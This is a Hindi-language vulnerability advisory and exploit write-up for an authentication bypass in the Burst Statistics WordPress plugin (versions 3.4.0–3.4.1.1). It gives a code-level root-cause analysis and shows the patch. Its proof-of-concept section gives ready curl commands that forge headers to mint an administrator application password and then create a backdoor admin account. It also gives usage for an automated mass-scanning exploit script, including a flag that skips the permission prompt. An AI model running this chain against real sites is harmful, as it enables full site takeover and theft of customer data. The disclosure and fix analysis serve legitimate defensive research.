
Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) WordPress के लिए प्लगइन प्रमाणीकरण बायपास के लिए संवेदनशील है।
भेद्यता सारांश
वर्डप्रेस प्लगइन Burst Statistics संस्करण 3.4.0 से 3.4.1.1 एक अप्रमाणित प्रमाणीकरण बाईपास भेद्यता के लिए संवेदनशील है जो पूर्ण व्यवस्थापक खाता अधिग्रहण की ओर ले जाता है। यह गंभीर दोष एक अप्रमाणित हमलावर को, जो किसी भी व्यवस्थापक उपयोगकर्ता नाम को जानता है, एक ही HTTP अनुरोध में उस खाते के लिए एक वैध वर्डप्रेस एप्लिकेशन पासवर्ड बनाने की अनुमति देता है, जिससे पूरी साइट तक लगातार व्यवस्थापक-स्तर की पहुंच प्राप्त होती है।
यह भेद्यता class-mainwp-proxy.php में is_mainwp_authenticated() फ़ंक्शन से उत्पन्न होती है। यह फ़ंक्शन wp_authenticate_application_password() को कॉल करता है और केवल यह जांचता है कि परिणाम WP_Error है या नहीं। यह यह सत्यापित नहीं करता है कि परिणाम वास्तव में एक सफल WP_User ऑब्जेक्ट है या नहीं। जब वर्डप्रेस का आंतरिक फ़िल्टर application_password_is_api_request false लौटाता है — जो तब होता है जब कॉल सामान्य REST API प्रमाणीकरण प्रवाह के बाहर की जाती है — वर्डप्रेस फ़ंक्शन WP_Error या WP_User के बजाय null लौटाता है। क्योंकि null WP_Error नहीं है, जांच पास हो जाती है, और हमलावर का चुना हुआ व्यवस्थापक उपयोगकर्ता wp_set_current_user() के माध्यम से वर्तमान उपयोगकर्ता के रूप में सेट हो जाता है।
एक बार जब वर्तमान उपयोगकर्ता किसी व्यवस्थापक पर स्विच हो जाता है, तो बाद की क्षमता जांच पास हो जाती है। इसके बाद हमलावर /burst/v1/mainwp-auth REST एंडपॉइंट तक पहुंच सकता है, जो व्यवस्थापक खाते के लिए एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता है और इसे प्रतिक्रिया में लौटाता है। यह हमलावर को लगातार, पूर्ण व्यवस्थापक-स्तर की पहुंच प्रदान करता है।
प्रभावित प्लगइन
हमलावर क्या कर सकते हैं
तकनीकी विश्लेषण
Burst Statistics वर्डप्रेस के plugins_loaded हुक पर प्राथमिकता 9 पर आरंभ होता है, class-burst.php के अंदर:
// class-burst.php, लाइन 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() सभी व्यवस्थापक कार्यक्षमता के लिए गेटकीपर है। यह X-BurstMainWP हेडर की जांच करता है और संवेदनशील फ़ंक्शन को कॉल करता है:
// trait-admin-helper.php, पंक्तियाँ 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, पंक्तियाँ 313-342 (संवेदनशील 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// संवेदनशील: REST API प्रमाणीकरण प्रवाह के बाहर
// wp_authenticate_application_password() null लौटाता है
$is_valid = wp_authenticate_application_password( null, $username, $password );
// बग: केवल जांचता है कि परिणाम WP_Error है या नहीं। null WP_Error नहीं है → पास!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() null क्यों लौटाता हैवर्डप्रेस आंतरिक फ़ंक्शन wp_authenticate_application_password() में एक फ़िल्टर है:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // API अनुरोध नहीं, एप्लिकेशन पासवर्ड प्रमाणीकरण छोड़ें
}
जब सामान्य REST API प्रमाणीकरण प्रवाह के बाहर कॉल किया जाता है, तो यह null लौटाता है। Burst Statistics कोड ने केवल is_wp_error($is_valid) जांचा — null WP_Error नहीं है, इसलिए जांच गलत तरीके से पास हो जाती है।
X-BurstMainWP: 1 हेडर भेजता हैhas_admin_access() is_mainwp_authenticated() को ट्रिगर करता हैwp_authenticate_application_password() null लौटाता है (API संदर्भ में नहीं)is_wp_error(null) = false → जांच पास होती हैwp_set_current_user($admin_id) निष्पादित होता है/burst/v1/mainwp-auth पर POST करता हैhandle_auth_request() एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता हैbase64(username:app_password) के रूप में लौटाया जाता है// class-mainwp-proxy.php, पंक्तियाँ 399-415 (पैच किया गया 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
लागू किए गए सुधार:
application_password_is_api_request फ़िल्टर को true पर बाध्य करें ताकि वास्तविक पासवर्ड सत्यापन हो सकेWP_User इंस्टेंस है (null नहीं)hash_equals() का उपयोग करेंइसके अतिरिक्त, REST एंडपॉइंट के लिए check_auth_permission() को कड़ा किया गया ताकि current_user_can('manage_burst_statistics') और कुकी-प्रमाणित अनुरोधों के लिए स्पष्ट नॉन्स सत्यापन की आवश्यकता हो।
प्रूफ ऑफ कॉन्सेप्ट
# चरण 1: लक्ष्य संवेदनशील है या नहीं जांचें (एप्लिकेशन पासवर्ड बनाएं)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# प्रतिक्रिया: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# चरण 2: टोकन डिकोड करें
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# चरण 3: नया व्यवस्थापक बनाने के लिए एप्लिकेशन पासवर्ड का उपयोग करें
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
exploit_burst_statistics.py स्क्रिप्ट पूरे हमले की श्रृंखला को स्वचालित करती है:
readme.txt, प्लगइन हेडर, या एसेट क्वेरी स्ट्रिंग के माध्यम से संस्करण पहचानX-BurstMainWP: 1 + नकली बेसिक प्रमाणीकरण के साथ प्रमाणीकरण बाईपासशोषण की विशेषताएं
/wp-json/) और बदसूरत परमालिंक (/?rest_route=) दोनों का समर्थन करता हैThreadPoolExecutor के साथ सामूहिक स्कैनिंगउपयोग
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
targets.txt बनाएं:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
सुधार अनुशंसाएं
डेवलपर्स और साइट मालिकों के लिए:
X-BurstMainWP: 1 हेडर वाले अनुरोधों के लिए सर्वर लॉग की समीक्षा करेंसमयरेखा
| दिनांक | घटना |
|---|---|
| 2026-05-08 | CVE आरक्षित |
| 2026-05-11 | विक्रेता को सूचित किया गया |
| 2026-05-13 | सार्वजनिक रूप से खुलासा किया गया |
शोधकर्ता
संदर्भ
अस्वीकरण
यह जानकारी केवल शैक्षिक और अधिकृत प्रवेश परीक्षण उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम का अनधिकृत शोषण अवैध और अनैतिक है। किसी भी ऐसे लक्ष्य का परीक्षण करने से पहले जो आपका नहीं है, हमेशा स्पष्ट लिखित अनुमति प्राप्त करें।
| फ़ील्ड | मान |
|---|
| प्लगइन का नाम | Burst Statistics – Privacy-Friendly WordPress Analytics |
| प्लगइन स्लग | burst-statistics |
| प्रभावित संस्करण | 3.4.0 – 3.4.1.1 |
| पैच किया गया संस्करण | 3.4.2 |
| CVE ID | CVE-2026-8181 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| भेद्यता प्रकार | प्रमाणीकरण बाईपास (अनुचित प्रमाणीकरण) |
| CWE | CWE-287 — अनुचित प्रमाणीकरण |
| प्रभाव | पूर्ण साइट अधिग्रहण — व्यवस्थापक खाता अधिग्रहण |
| क्षमता | प्रभाव |
|---|
| किसी भी व्यवस्थापक के लिए एप्लिकेशन पासवर्ड बनाना | लगातार व्यवस्थापक पहुंच |
| REST API के माध्यम से नए व्यवस्थापक खाते बनाना | खाता प्रसार |
| प्लगइन/थीम इंस्टॉल करना | दूरस्थ कोड निष्पादन |
| पोस्ट, पेज और सेटिंग्स संपादित करना | साइट विरूपण |
| सभी साइट डेटा निर्यात या हटाना | डेटा विनाश/निष्कर्षण |
| WooCommerce/ग्राहक डेटा तक पहुंच | डेटा उल्लंघन |
| फ़्लैग | विवरण |
|---|
-t, --target | एकल लक्ष्य URL |
-l, --list | लक्ष्य सूची वाली फ़ाइल (प्रति पंक्ति एक) |
-T, --threads | सामूहिक स्कैन के लिए थ्रेड्स (डिफ़ॉल्ट: 10) |
-o, --output | परिणामों के लिए आउटपुट फ़ाइल (डिफ़ॉल्ट: result_burst_statistics.txt) |
-u, --username | ज्ञात व्यवस्थापक उपयोगकर्ता नाम (गणना छोड़ें) |
-v, --verbose | विस्तृत डीबग आउटपुट |
--timeout | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 20) |
--no-confirm | अनुमति पुष्टिकरण संकेत छोड़ें |
| 2026-05-13 | पैच जारी किया गया (v3.4.2) |
| 2026-05-15 | वास्तविक दुनिया में सक्रिय शोषण की सूचना |